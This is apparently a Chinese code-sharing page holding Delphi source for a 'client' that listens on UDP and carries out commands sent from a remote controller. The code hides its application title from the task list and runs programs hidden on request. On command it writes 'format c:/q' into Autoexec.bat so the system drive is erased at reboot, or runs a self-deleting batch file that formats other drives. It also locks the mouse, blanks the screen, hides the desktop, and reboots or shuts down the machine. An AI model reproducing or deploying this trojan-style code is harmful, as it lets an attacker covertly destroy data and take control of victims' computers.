您的位置:首页 > 其它

一些系统操作 客户端

2005-11-17 13:33 381 查看
unit UnitClient;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, NMUDP,shellapi,mmsystem, StdCtrls;
type
TForm1 = class(TForm)
NMUDP1: TNMUDP;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
{$R *.dfm}
//获取计算机名
function ComputerName : String;
var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;
begin
GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;
fl_loaded := GetComputerName(CNameBuffer,CLen^);
if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := '不知道!';
FreeMem(CNameBuffer,255);
Dispose(CLen);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.Title:='';
//应用程序没有名称,按Ctrl+Alt+Del时看不到程序
//application.showmainform:=false;
//程序运行时不显示
BmpStream:=TMemoryStream.Create;
end;
procedure TForm1.winexit(var msg: Tmessage);
//退出程序
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//向Autoexec.bat写格式化命令
begin
NMUDP1.ReadBuffer(CtrlCode,NumberBytes);
// 读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
//格式化磁盘
if CtrlCode[6]='c' then
//格式化系统盘,将命令写入autoexec.bat,重起后生效
begin
assignfile(forc,'c:/Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制台下显示格式化信息
closefile(forc);
end
else
//格式化其它磁盘,将命令写入批处理文件,立即执行
begin
assignfile(ford,'c:/a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format '+CtrlCode[6]+':/q');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:/a.bat',sw_hide);
//开始格式化
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
//计算机睡眠
SetSystemPowerState( true, true );
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
//隐藏桌面
begin
hDesktop := FindWindow('Progman', nil);
//获取桌面程序句柄
ShowWindow(hDesktop, SW_HIDE);
//SW_HIDE,隐藏桌面
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
//显示桌面
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_show);
//SW_show,隐藏桌面
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
//隐藏运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
//显式运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
//最小化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
//最大化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
//弹出cdrom
mciSendString('Set cdaudio door open', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
//合上cdrom
mciSendString('Set cdaudio door closed', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
//锁定鼠标
button1.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
//解锁鼠标
button2.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
//黑屏
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;
if CtrlCode[0]='' then
//发送信息
Application.MessageBox(CtrlCode,pchar(ComputerName),MB_OK);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='oscre' then
//解黑屏
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, -1) ;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
//重新启动计算机
ExitWindowsEx(EWX_REBOOT,2);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
//关闭计算机
ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2);
// 座标换算
ClipCursor(@rtButton2);
// 限制鼠标移动区域
end;
procedure TForm1.Button2Click(Sender: TObject);
var
rtScreen: TRect;
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;
end.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: